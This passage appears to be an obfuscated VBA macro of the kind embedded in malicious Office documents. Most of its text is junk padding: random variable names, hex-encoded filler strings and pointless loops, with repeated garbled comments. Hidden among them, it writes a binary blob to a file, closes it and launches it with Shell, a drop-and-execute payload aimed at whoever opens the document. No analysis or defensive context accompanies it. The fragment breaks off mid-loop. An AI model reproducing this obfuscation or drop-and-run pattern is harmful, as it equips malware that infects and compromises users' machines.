Do While GRHDIDqu < 71
Dim IiRVxpYS, fedlPRvR, ylernQDi As String
IiRVxpYS = GIYbonflbkpgerg("2020202020202020202020595759425548202020202020202020202020202020")
fedlPRvR = LTrim(IiRVxpYS)
ylernQDi = RTrim(fedlPRvR)

DoEvents: GRHDIDqu = GRHDIDqu + 1
Dim tVQqQOet, lFJFJmgD, WNtInKVi As String
tVQqQOet = GIYbonflbkpgerg("20202020202020202020204B494B4C455A202020202020202020202020202020")
lFJFJmgD = LTrim(tVQqQOet)
WNtInKVi = RTrim(lFJFJmgD)

Loop

Dim cprEgcqb, wMYjdbJV, UNllFfMo As String
cprEgcqb = GIYbonflbkpgerg("2020202020202020202020504848565746202020202020202020202020202020")
wMYjdbJV = LTrim(cprEgcqb)
UNllFfMo = RTrim(wMYjdbJV)

HEXvEzRA = GIYbonflbkpgerg("20202020202020202020204C4E53584545202020202020202020202020202020")

Dim hbQiugGJ As Integer
Dim kielvlGo, fidTLcdp, ooxJfZPq As String
kielvlGo = GIYbonflbkpgerg("2020202020202020202020474B45475245202020202020202020202020202020")
fidTLcdp = LTrim(kielvlGo)
ooxJfZPq = RTrim(fidTLcdp)

hbQiugGJ = 4
Do While hbQiugGJ < 34
Dim bDrqouMt, rIQTwASC, OElNIXEG As String
bDrqouMt = GIYbonflbkpgerg("202020202020202020202041504B594E47202020202020202020202020202020")
rIQTwASC = LTrim(bDrqouMt)
OElNIXEG = RTrim(rIQTwASC)

DoEvents: hbQiugGJ = hbQiugGJ + 1
Dim TwMSTyMU, iYiYgEEz, xxfpmgGP As String
TwMSTyMU = GIYbonflbkpgerg("2020202020202020202020445241474759202020202020202020202020202020")
iYiYgEEz = LTrim(TwMSTyMU)
xxfpmgGP = RTrim(iYiYgEEz)

Loop

Dim EejOGFrL, GoeSkZir, DMYbhRDZ As String
EejOGFrL = GIYbonflbkpgerg("2020202020202020202020444458414F58202020202020202020202020202020")
GoeSkZir = LTrim(EejOGFrL)
DMYbhRDZ = RTrim(GoeSkZir)

GfbsArpN = LTrim(HEXvEzRA)

Dim pdhGNgVH As Integer
Dim TipXmlVE, noliGvwR, xpEmpZLT As String
TipXmlVE = GIYbonflbkpgerg("2020202020202020202020584B55455A52202020202020202020202020202020")
noliGvwR = LTrim(TipXmlVE)
xpEmpZLT = RTrim(noliGvwR)

pdhGNgVH = 3
Do While pdhGNgVH < 83
Dim QMSbCxTb, hGmMpKck, WPzhxdgo As String
QMSbCxTb = GIYbonflbkpgerg("20202020202020202020204E4554545452202020202020202020202020202020")
hGmMpKck = LTrim(QMSbCxTb)
WPzhxdgo = RTrim(hGmMpKck)

DoEvents: pdhGNgVH = pdhGNgVH + 1
Dim Pgfiqlcj, BtlQhtOB, AhUTBZll As String
Pgfiqlcj = GIYbonflbkpgerg("20202020202020202020204948554A474D202020202020202020202020202020")
BtlQhtOB = LTrim(Pgfiqlcj)
AhUTBZll = RTrim(BtlQhtOB)

Loop

Dim JLcyZKwH, rBpotTvN, htXsYlZq As String
JLcyZKwH = GIYbonflbkpgerg("20202020202020202020204D494E535A56202020202020202020202020202020")
rBpotTvN = LTrim(JLcyZKwH)
htXsYlZq = RTrim(rBpotTvN)

alsgrKfq = RTrim(GfbsArpN)


Dim XDnNBEcl As Integer
Dim xouYpLcS, kpkKRCWF, fpArBzlG As String
xouYpLcS = GIYbonflbkpgerg("20202020202020202020204B4B59574348202020202020202020202020202020")
kpkKRCWF = LTrim(xouYpLcS)
fpArBzlG = RTrim(kpkKRCWF)

XDnNBEcl = 1
Do While XDnNBEcl < 58
Dim XTeYFJhk, AnQaasip, ywlwfYBa As String
XTeYFJhk = GIYbonflbkpgerg("2020202020202020202020595844494E46202020202020202020202020202020")
AnQaasip = LTrim(XTeYFJhk)
ywlwfYBa = RTrim(AnQaasip)

DoEvents: XDnNBEcl = XDnNBEcl + 1
Dim XXXXNaXq, qQzbySiL, DCjlGpJd As String
XXXXNaXq = GIYbonflbkpgerg("2020202020202020202020465556535051202020202020202020202020202020")
qQzbySiL = LTrim(XXXXNaXq)
DCjlGpJd = RTrim(qQzbySiL)

Loop

Dim OFMJWMvT, WMYMcUZH, iNlCBwTa As String
OFMJWMvT = GIYbonflbkpgerg("202020202020202020202043484744414B202020202020202020202020202020")
WMYMcUZH = LTrim(OFMJWMvT)
iNlCBwTa = RTrim(WMYMcUZH)

    ZYCJDCPOEMK = FreeFile
    Open DUBGHDQFXFU For Binary As #ZYCJDCPOEMK
Dim ZEqyukTi, vRmkAwep, lTTEXnnq As String

Dim DHDBMlYi As Integer
Dim ofANNoHl, rgQsmdfl, NgWcGkQm As String
ofANNoHl = GIYbonflbkpgerg("2020202020202020202020515748544B56202020202020202020202020202020")
rgQsmdfl = LTrim(ofANNoHl)
NgWcGkQm = RTrim(rgQsmdfl)

DHDBMlYi = 8
Do While DHDBMlYi < 91
Dim IOlABDdK, ANpdHMAw, uWKUehld As String
IOlABDdK = GIYbonflbkpgerg("202020202020202020202059494E465754202020202020202020202020202020")
ANpdHMAw = LTrim(IOlABDdK)
uWKUehld = RTrim(ANpdHMAw)

DoEvents: DHDBMlYi = DHDBMlYi + 1
Dim pMdHmiNy, vPklnMsF, DncVTTxx As String
pMdHmiNy = GIYbonflbkpgerg("20202020202020202020205759594F5746202020202020202020202020202020")
vPklnMsF = LTrim(pMdHmiNy)
DncVTTxx = RTrim(vPklnMsF)

Loop

Dim xHmXqPcL, IXuBScAr, YUPSPbuZ As String
xHmXqPcL = GIYbonflbkpgerg("20202020202020202020204F5556554C4D202020202020202020202020202020")
IXuBScAr = LTrim(xHmXqPcL)
YUPSPbuZ = RTrim(IXuBScAr)

ZEqyukTi = GIYbonflbkpgerg("202020202020202020202057454949575A202020202020202020202020202020")

Dim NjvrFiFy As Integer
Dim kSRXvbrj, fDFiLRAk, oDVlfIBl As String
kSRXvbrj = GIYbonflbkpgerg("202020202020202020202047554A455259202020202020202020202020202020")
fDFiLRAk = LTrim(kSRXvbrj)
oDVlfIBl = RTrim(fDFiLRAk)

NjvrFiFy = 1
Do While NjvrFiFy < 64
Dim PCXqmSfl, hLRYUuyp, opmjcfmD As String
PCXqmSfl = GIYbonflbkpgerg("2020202020202020202020554746595454202020202020202020202020202020")
hLRYUuyp = LTrim(PCXqmSfl)
opmjcfmD = RTrim(hLRYUuyp)

DoEvents: NjvrFiFy = NjvrFiFy + 1
Dim acNPGlSl, EIgRvHwS, KvliRAUm As String
acNPGlSl = GIYbonflbkpgerg("2020202020202020202020484D4E59544D202020202020202020202020202020")
EIgRvHwS = LTrim(acNPGlSl)
KvliRAUm = RTrim(EIgRvHwS)

Loop

Dim flexFsUw, bbGbhNQT, QTAZJFFH As String
flexFsUw = GIYbonflbkpgerg("2020202020202020202020545747574949202020202020202020202020202020")
bbGbhNQT = LTrim(flexFsUw)
QTAZJFFH = RTrim(bbGbhNQT)

vRmkAwep = LTrim(ZEqyukTi)

Dim TOMmrwbl As Integer
Dim mVswyPTM, zEdjCzTp, VRcEjueq As String
mVswyPTM = GIYbonflbkpgerg("202020202020202020202050455255594C202020202020202020202020202020")
zEdjCzTp = LTrim(mVswyPTM)
VRcEjueq = RTrim(zEdjCzTp)

TOMmrwbl = 7
Do While TOMmrwbl < 89
Dim RprGojqa, ptQpxQeL, FNlROyMP As String
RprGojqa = GIYbonflbkpgerg("202020202020202020202052574B574E4D202020202020202020202020202020")
ptQpxQeL = LTrim(RprGojqa)
FNlROyMP = RTrim(ptQpxQeL)

DoEvents: TOMmrwbl = TOMmrwbl + 1
Dim juUsoPGb, TXDHgwai, iizPVLPA As String
juUsoPGb = GIYbonflbkpgerg("202020202020202020202056534A4D475A202020202020202020202020202020")
TXDHgwai = LTrim(juUsoPGb)
iizPVLPA = RTrim(TXDHgwai)

Loop

Dim mzkihyNJ, YirqKMez, LfHflIud As String
mzkihyNJ = GIYbonflbkpgerg("2020202020202020202020474341575156202020202020202020202020202020")
YirqKMez = LTrim(mzkihyNJ)
LfHflIud = RTrim(YirqKMez)

lTTEXnnq = RTrim(vRmkAwep)


Dim DDrQTjfR As Integer
Dim RhWMDrry, njtyiiAi, wjgkZdBo As String
RhWMDrry = GIYbonflbkpgerg("20202020202020202020205858425A5158202020202020202020202020202020")
njtyiiAi = LTrim(RhWMDrry)
wjgkZdBo = RTrim(njtyiiAi)

DDrQTjfR = 8
Do While DDrQTjfR < 11
Dim fUQlmqwd, LZlFUTft, vcNpMatX As String
fUQlmqwd = GIYbonflbkpgerg("20202020202020202020204743525A4A56202020202020202020202020202020")
LZlFUTft = LTrim(fUQlmqwd)
vcNpMatX = RTrim(LZlFUTft)

DoEvents: DDrQTjfR = DDrQTjfR + 1
Dim dyXgXpYY, AWaLzWKg, ruhDQlAO As String
dyXgXpYY = GIYbonflbkpgerg("2020202020202020202020585156574947202020202020202020202020202020")
AWaLzWKg = LTrim(dyXgXpYY)
ruhDQlAO = RTrim(AWaLzWKg)

Loop

Dim gjfTQCHy, nxNIfPLj, viEwsSbG As String
gjfTQCHy = GIYbonflbkpgerg("2020202020202020202020544D5742554E202020202020202020202020202020")
nxNIfPLj = LTrim(gjfTQCHy)
viEwsSbG = RTrim(nxNIfPLj)

    Put #ZYCJDCPOEMK, , NPJUFXTFFIE
Dim CERmNXrk, HLmyJelW, wGenrvpS As String

Dim gICqGBFI As Integer
Dim SzJfYVvf, UzanaeXg, EeqSmulh As String
SzJfYVvf = GIYbonflbkpgerg("202020202020202020202042475653494C202020202020202020202020202020")
UzanaeXg = LTrim(SzJfYVvf)
EeqSmulh = RTrim(UzanaeXg)

gICqGBFI = 6
Do While gICqGBFI < 59
Dim CyhuuAlg, ZaCAlXpu, uXRXUjzV As String
CyhuuAlg = GIYbonflbkpgerg("2020202020202020202020594F4C585059202020202020202020202020202020")
ZaCAlXpu = LTrim(CyhuuAlg)
uXRXUjzV = RTrim(ZaCAlXpu)

DoEvents: gICqGBFI = gICqGBFI + 1
Dim krGWCrbD, YMMveHQw, otolSdmH As String
krGWCrbD = GIYbonflbkpgerg("202020202020202020202042504D514F53202020202020202020202020202020")
YMMveHQw = LTrim(krGWCrbD)
otolSdmH = RTrim(YMMveHQw)

Loop

Dim xCQWmOMv, IecBXxVO, MopzvqaL As String
xCQWmOMv = GIYbonflbkpgerg("20202020202020202020204F505555564C202020202020202020202020202020")
IecBXxVO = LTrim(xCQWmOMv)
MopzvqaL = RTrim(IecBXxVO)

CERmNXrk = GIYbonflbkpgerg("2020202020202020202020445454515750202020202020202020202020202020")

Dim maMbPMrQ As Integer
Dim eAjsCBVI, VZnckewO, MEQOSiLP As String
eAjsCBVI = GIYbonflbkpgerg("2020202020202020202020495A5051484C202020202020202020202020202020")
VZnckewO = LTrim(eAjsCBVI)
MEQOSiLP = RTrim(VZnckewO)

maMbPMrQ = 7
Do While maMbPMrQ < 35
Dim asbvHKQI, MAjpUBNs, vcVRMmJr As String
asbvHKQI = GIYbonflbkpgerg("2020202020202020202020475845444A49202020202020202020202020202020")
MAjpUBNs = LTrim(asbvHKQI)
vcVRMmJr = RTrim(MAjpUBNs)

DoEvents: maMbPMrQ = maMbPMrQ + 1
Dim WdpcAtFb, ccckqZcL, SfEXhfOA As String
WdpcAtFb = GIYbonflbkpgerg("20202020202020202020204D4E4F494459202020202020202020202020202020")
ccckqZcL = LTrim(WdpcAtFb)
SfEXhfOA = RTrim(ccckqZcL)

Loop

Dim mUpiomeA, UDXqPiyQ, LLIfdXpX As String
mUpiomeA = GIYbonflbkpgerg("2020202020202020202020474443575554202020202020202020202020202020")
UDXqPiyQ = LTrim(mUpiomeA)
LLIfdXpX = RTrim(UDXqPiyQ)

HLmyJelW = LTrim(CERmNXrk)

Dim blHFYGlF As Integer
Dim ZuHwWWdu, ciNUhBPi, lopMPrio As String
ZuHwWWdu = GIYbonflbkpgerg("2020202020202020202020574B4348474A202020202020202020202020202020")
ciNUhBPi = LTrim(ZuHwWWdu)
lopMPrio = RTrim(ciNUhBPi)

blHFYGlF = 8
Do While blHFYGlF < 76
Dim NDHyAfhB, TOvnGIiJ, vNgsTGxm As String
NDHyAfhB = GIYbonflbkpgerg("2020202020202020202020475051454F4B202020202020202020202020202020")
TOvnGIiJ = LTrim(NDHyAfhB)
vNgsTGxm = RTrim(TOvnGIiJ)

DoEvents: blHFYGlF = blHFYGlF + 1
Dim tOwUJaVY, lbnsCSpg, XPGyYpKO As String
tOwUJaVY = GIYbonflbkpgerg("20202020202020202020204B4E51545951202020202020202020202020202020")
lbnsCSpg = LTrim(tOwUJaVY)
XPGyYpKO = RTrim(lbnsCSpg)

Loop

Dim FXYRfclY, SUpjsbBy, BDXlFdej As String
FXYRfclY = GIYbonflbkpgerg("20202020202020202020204B4F52565744202020202020202020202020202020")
SUpjsbBy = LTrim(FXYRfclY)
BDXlFdej = RTrim(SUpjsbBy)

wGenrvpS = RTrim(HLmyJelW)


Dim ZNxftOLJ As Integer
Dim ICkxYaZS, RVAIayND, bBQMwpcG As String
ICkxYaZS = GIYbonflbkpgerg("202020202020202020202056445148494D202020202020202020202020202020")
RVAIayND = LTrim(ICkxYaZS)
bBQMwpcG = RTrim(RVAIayND)

ZNxftOLJ = 6
Do While ZNxftOLJ < 58
Dim zryaXjVM, UBFwoSHS, nhRuNLth As String
zryaXjVM = GIYbonflbkpgerg("2020202020202020202020484C4C414C4D202020202020202020202020202020")
UBFwoSHS = LTrim(zryaXjVM)
nhRuNLth = RTrim(UBFwoSHS)

DoEvents: ZNxftOLJ = ZNxftOLJ + 1
Dim xthzNXvX, QWmYyUPR, fuOnGtlB As String
xthzNXvX = GIYbonflbkpgerg("2020202020202020202020415149475049202020202020202020202020202020")
QWmYyUPR = LTrim(xthzNXvX)
fuOnGtlB = RTrim(QWmYyUPR)

Loop

Dim QKocnTQY, CVWnzlFJ, WIvdNwmj As String
QKocnTQY = GIYbonflbkpgerg("20202020202020202020204A554B57414B202020202020202020202020202020")
CVWnzlFJ = LTrim(QKocnTQY)
WIvdNwmj = RTrim(CVWnzlFJ)

    Close #ZYCJDCPOEMK
Dim bOLVGleS, FbBAWtgm, egtyaJne As String

Dim fQDCeEDZ As Integer
Dim PkjRguEq, TknJIqas, AlPeehvd As String
PkjRguEq = GIYbonflbkpgerg("20202020202020202020205643504D4243202020202020202020202020202020")
TknJIqas = LTrim(PkjRguEq)
AlPeehvd = RTrim(TknJIqas)

fQDCeEDZ = 4
Do While fQDCeEDZ < 59
Dim KGrgfvnS, xPQOnMlE, zYlrDgpw As String
KGrgfvnS = GIYbonflbkpgerg("202020202020202020202050514B495A56202020202020202020202020202020")
xPQOnMlE = LTrim(KGrgfvnS)
zYlrDgpw = RTrim(xPQOnMlE)

DoEvents: fQDCeEDZ = fQDCeEDZ + 1
Dim ltApAyob, WhHeqEKL, pyXUhgrA As String
ltApAyob = GIYbonflbkpgerg("20202020202020202020204251464B5644202020202020202020202020202020")
WhHeqEKL = LTrim(ltApAyob)
pyXUhgrA = RTrim(WhHeqEKL)

Loop

Dim FcbRgqAG, NEsUJBRB, dOVPlDIp As String
FcbRgqAG = GIYbonflbkpgerg("2020202020202020202020424954555041202020202020202020202020202020")
NEsUJBRB = LTrim(FcbRgqAG)
dOVPlDIp = RTrim(NEsUJBRB)

bOLVGleS = GIYbonflbkpgerg("2020202020202020202020454E5844544D202020202020202020202020202020")

Dim RKohfgPx As Integer
Dim lfqvTKKZ, gfmPNXhE, pgRXlaDR As String
lfqvTKKZ = GIYbonflbkpgerg("20202020202020202020204857554A5548202020202020202020202020202020")
gfmPNXhE = LTrim(lfqvTKKZ)
pgRXlaDR = RTrim(gfmPNXhE)

RKohfgPx = 6
Do While RKohfgPx < 29
Dim EmlnYQdQ, ohzWLurZ, FsOhuAWm As String
EmlnYQdQ = GIYbonflbkpgerg("2020202020202020202020434858544351202020202020202020202020202020")
ohzWLurZ = LTrim(EmlnYQdQ)
FsOhuAWm = RTrim(ohzWLurZ)

DoEvents: RKohfgPx = RKohfgPx + 1
Dim XYOaQXuW, qxGRHUlE, DIevbtzV As String
XYOaQXuW = GIYbonflbkpgerg("202020202020202020202046424A464549202020202020202020202020202020")
qxGRHUlE = LTrim(XYOaQXuW)
DIevbtzV = RTrim(qxGRHUlE)

Loop

Dim KALpHiGk, HsxCFpmH, ekoNhCva As String
KALpHiGk = GIYbonflbkpgerg("20202020202020202020204D4251464F59202020202020202020202020202020")
HsxCFpmH = LTrim(KALpHiGk)
ekoNhCva = RTrim(HsxCFpmH)

FbBAWtgm = LTrim(bOLVGleS)

Dim gYuvYEPJ As Integer
Dim RcnlBzPg, nvPRlyuh, wvMHFqRk As String
RcnlBzPg = GIYbonflbkpgerg("2020202020202020202020584E47464A57202020202020202020202020202020")
nvPRlyuh = LTrim(RcnlBzPg)
wvMHFqRk = RTrim(nvPRlyuh)

gYuvYEPJ = 4
Do While gYuvYEPJ < 59
Dim bcjJPJlc, lFiZAVIa, COGCFlnK As String
bcjJPJlc = GIYbonflbkpgerg("2020202020202020202020414542584655202020202020202020202020202020")
lFiZAVIa = LTrim(bcjJPJlc)
COGCFlnK = RTrim(lFiZAVIa)

DoEvents: gYuvYEPJ = gYuvYEPJ + 1
Dim SmwsjKAP, gTPyNhpt, ZwGOyawD As String
SmwsjKAP = GIYbonflbkpgerg("20202020202020202020204845475A4942202020202020202020202020202020")
gTPyNhpt = LTrim(SmwsjKAP)
ZwGOyawD = RTrim(gTPyNhpt)

Loop

Dim WUrgWkdj, iDHkxyhA, yvlrmiWN As String
WUrgWkdj = GIYbonflbkpgerg("2020202020202020202020585A48485151202020202020202020202020202020")
iDHkxyhA = LTrim(WUrgWkdj)
yvlrmiWN = RTrim(iDHkxyhA)

egtyaJne = RTrim(FbBAWtgm)


Dim CPGJAJWd As Integer
Dim uSxFUJnO, eDYNzXVP, VDJsxNwQ As String
uSxFUJnO = GIYbonflbkpgerg("2020202020202020202020505544424947202020202020202020202020202020")
eDYNzXVP = LTrim(uSxFUJnO)
VDJsxNwQ = RTrim(eDYNzXVP)

CPGJAJWd = 1
Do While CPGJAJWd < 29
Dim ianqhlqV, akjWunnA, TdBjlWkl As String
ianqhlqV = GIYbonflbkpgerg("20202020202020202020204B4A45594557202020202020202020202020202020")
akjWunnA = LTrim(ianqhlqV)
TdBjlWkl = RTrim(akjWunnA)

DoEvents: CPGJAJWd = CPGJAJWd + 1
Dim BwnXQPvM, AYGHmiif, HxWmbLlX As String
BwnXQPvM = GIYbonflbkpgerg("202020202020202020202058524B4D4B57202020202020202020202020202020")
AYGHmiif = LTrim(BwnXQPvM)
HxWmbLlX = RTrim(AYGHmiif)

Loop

Dim GCVWKRFw, aeOVllJY, dowaXuWJ As String
GCVWKRFw = GIYbonflbkpgerg("20202020202020202020204C504455504A202020202020202020202020202020")
aeOVllJY = LTrim(GCVWKRFw)
dowaXuWJ = RTrim(aeOVllJY)


    Dim ZSRRRRLDPOA
Dim hqdqDFzF, AjBfgAtB, bzZadEPc As String

Dim Zeohdkvf As Integer
Dim hdlrHZqT, sdEhqYIU, ufFATQyI As String
hdlrHZqT = GIYbonflbkpgerg("2020202020202020202020464D53554449202020202020202020202020202020")
sdEhqYIU = LTrim(hdlrHZqT)
ufFATQyI = RTrim(sdEhqYIU)

Zeohdkvf = 6
Do While Zeohdkvf < 45
Dim THoItCpw, qQHrklaf, rzUFobjJ As String
THoItCpw = GIYbonflbkpgerg("202020202020202020202052534D4B5650202020202020202020202020202020")
qQHrklaf = LTrim(THoItCpw)
rzUFobjJ = RTrim(qQHrklaf)

DoEvents: Zeohdkvf = Zeohdkvf + 1
Dim BzlHkbAX, dKvlcqDR, HeSfuIxV As String
BzlHkbAX = GIYbonflbkpgerg("202020202020202020202047504F4F4C43202020202020202020202020202020")
dKvlcqDR = LTrim(BzlHkbAX)
HeSfuIxV = RTrim(dKvlcqDR)

Loop

Dim WGgKShaX, LbKRPkUw, yTRUsyPT As String
WGgKShaX = GIYbonflbkpgerg("2020202020202020202020585957545550202020202020202020202020202020")
LbKRPkUw = LTrim(WGgKShaX)
yTRUsyPT = RTrim(LbKRPkUw)

hqdqDFzF = GIYbonflbkpgerg("2020202020202020202020594A4D474958202020202020202020202020202020")

Dim jldagTnP As Integer
Dim IPzZEgAE, EPsFVlVR, vQwNlcwT As String
IPzZEgAE = GIYbonflbkpgerg("20202020202020202020204359454C5941202020202020202020202020202020")
EPsFVlVR = LTrim(IPzZEgAE)
vQwNlcwT = RTrim(EPsFVlVR)

jldagTnP = 4
Do While jldagTnP < 66
Dim HruMnMdu, wBFhDhtV, aWxPNPXH As String
HruMnMdu = GIYbonflbkpgerg("2020202020202020202020504C4D564F4F202020202020202020202020202020")
wBFhDhtV = LTrim(HruMnMdu)
aWxPNPXH = RTrim(wBFhDhtV)

DoEvents: jldagTnP = jldagTnP + 1
Dim fHZutbqj, HaJaFCMQ, tJCTMIyl As String
fHZutbqj = GIYbonflbkpgerg("202020202020202020202052464C4E5A48202020202020202020202020202020")
HaJaFCMQ = LTrim(fHZutbqj)
tJCTMIyl = RTrim(HaJaFCMQ)

Loop

Dim iJhKNsTU, mCzWANIK, lUTUbzgj As String
iJhKNsTU = GIYbonflbkpgerg("20202020202020202020205A5558544649202020202020202020202020202020")
mCzWANIK = LTrim(iJhKNsTU)
lUTUbzgj = RTrim(mCzWANIK)

AjBfgAtB = LTrim(hqdqDFzF)

Dim xSohqnGS As Integer
Dim PXIuVpWZ, YCKllglE, AVeRDlHR As String
PXIuVpWZ = GIYbonflbkpgerg("202020202020202020202042534C494A42202020202020202020202020202020")
YCKllglE = LTrim(PXIuVpWZ)
AVeRDlHR = RTrim(YCKllglE)

xSohqnGS = 5
Do While xSohqnGS < 32
Dim zggETKdB, UqCVKdtJ, dyRltIXI As String
zggETKdB = GIYbonflbkpgerg("20202020202020202020204F464C555846202020202020202020202020202020")
UqCVKdtJ = LTrim(zggETKdB)
dyRltIXI = RTrim(UqCVKdtJ)

DoEvents: xSohqnGS = xSohqnGS + 1
Dim SElauWCQ, alcRdYol, ERSvXrKD As String
SElauWCQ = GIYbonflbkpgerg("20202020202020202020204F434F464649202020202020202020202020202020")
alcRdYol = LTrim(SElauWCQ)
ERSvXrKD = RTrim(alcRdYol)

Loop

Dim uvuTxiRz, lRLIBWId, TPTQnOQc As String
uvuTxiRz = GIYbonflbkpgerg("20202020202020202020205A434B424259202020202020202020202020202020")
lRLIBWId = LTrim(uvuTxiRz)
TPTQnOQc = RTrim(lRLIBWId)

bzZadEPc = RTrim(AjBfgAtB)


Dim rHGDMvME As Integer
Dim tybecbkK, ayOgKRFL, XuMnsIsM As String
tybecbkK = GIYbonflbkpgerg("20202020202020202020204F4A47594559202020202020202020202020202020")
ayOgKRFL = LTrim(tybecbkK)
XuMnsIsM = RTrim(ayOgKRFL)

rHGDMvME = 4
Do While rHGDMvME < 93
Dim RTzRyBqn, oAPBllek, FxkmYGMp As String
RTzRyBqn = GIYbonflbkpgerg("202020202020202020202043584449504B202020202020202020202020202020")
oAPBllek = LTrim(RTzRyBqn)
FxkmYGMp = RTrim(oAPBllek)

DoEvents: rHGDMvME = rHGDMvME + 1
Dim rVktfVNm, lDcIlOse, WBSZzuWx As String
rVktfVNm = GIYbonflbkpgerg("20202020202020202020204B494F484A4F202020202020202020202020202020")
lDcIlOse = LTrim(rVktfVNm)
WBSZzuWx = RTrim(lDcIlOse)

Loop

Dim sATHAkic, psoZblDC, wkWTaiJi As String
sATHAkic = GIYbonflbkpgerg("2020202020202020202020524252525A51202020202020202020202020202020")
psoZblDC = LTrim(sATHAkic)
wkWTaiJi = RTrim(psoZblDC)

    ZSRRRRLDPOA = Shell(DUBGHDQFXFU, 1)

Dim kjrOvSIT, fkfWLJyY, okcudWEU As String

Dim jxzFEpbR As Integer
Dim lyIwojxh, fuKIEmMj, pieMCbkk As String
lyIwojxh = GIYbonflbkpgerg("20202020202020202020204F554749554F202020202020202020202020202020")
fuKIEmMj = LTrim(lyIwojxh)
pieMCbkk = RTrim(fuKIEmMj)

jxzFEpbR = 4
Do While jxzFEpbR < 33
Dim fBylkzwl, LMDFRxdp, vHmpJKtz As String
fBylkzwl = GIYbonflbkpgerg("20202020202020202020204759465A474C202020202020202020202020202020")
LMDFRxdp = LTrim(fBylkzwl)
vHmpJKtz = RTrim(LMDFRxdp)

DoEvents: jxzFEpbR = jxzFEpbR + 1
Dim hqcPuGRJ, RaEfdnHb, usKiXVbM As String
hqcPuGRJ = GIYbonflbkpgerg("2020202020202020202020564653594654202020202020202020202020202020")
RaEfdnHb = LTrim(hqcPuGRJ)
usKiXVbM = RTrim(RaEfdnHb)

Loop

Dim TIQlYhtT, KFcwieoH, HvaoytFg As String
TIQlYhtT = GIYbonflbkpgerg("2020202020202020202020465A554C5250202020202020202020202020202020")
KFcwieoH = LTrim(TIQlYhtT)
HvaoytFg = RTrim(KFcwieoH)

kjrOvSIT = GIYbonflbkpgerg("2020202020202020202020475852585244202020202020202020202020202020")

Dim cRJUdpdM As Integer
Dim XoUYQOSS, KpJKyFpD, DqarnKYF As String
XoUYQOSS = GIYbonflbkpgerg("2020202020202020202020544C4C575051202020202020202020202020202020")
KpJKyFpD = LTrim(XoUYQOSS)
DqarnKYF = RTrim(KpJKyFpD)

cRJUdpdM = 5
Do While cRJUdpdM < 16
Dim PVCyCfrH, ZgDJFmll, ipwsaGqs As String
PVCyCfrH = GIYbonflbkpgerg("2020202020202020202020554846454D4B202020202020202020202020202020")
ZgDJFmll = LTrim(PVCyCfrH)
ipwsaGqs = RTrim(ZgDJFmll)

DoEvents: cRJUdpdM = cRJUdpdM + 1
Dim lqizlPbJ, XwwXeuoq, qsAnoLmL As String
lqizlPbJ = GIYbonflbkpgerg("2020202020202020202020554249434F57202020202020202020202020202020")
XwwXeuoq = LTrim(lqizlPbJ)
qsAnoLmL = RTrim(XwwXeuoq)

Loop

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim MUWMhCbM, yDUCKQZt, kLlNlbYg As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
MUWMhCbM = GIYbonflbkpgerg("2020202020202020202020575A53595841202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
yDUCKQZt = LTrim(MUWMhCbM)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
kLlNlbYg = RTrim(yDUCKQZt)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
fkfWLJyY = LTrim(kjrOvSIT)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim UvLvKrRV As Integer
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim QaeVjRAm, YafpPIBw, ZzcwtDxx As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
QaeVjRAm = GIYbonflbkpgerg("2020202020202020202020424652524E4F202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
YafpPIBw = LTrim(QaeVjRAm)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
ZzcwtDxx = RTrim(YafpPIBw)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
UvLvKrRV = 7
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Do While UvLvKrRV < 87
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim DqcjAnWt, lyyQFWSC, qxXxTzzn As String
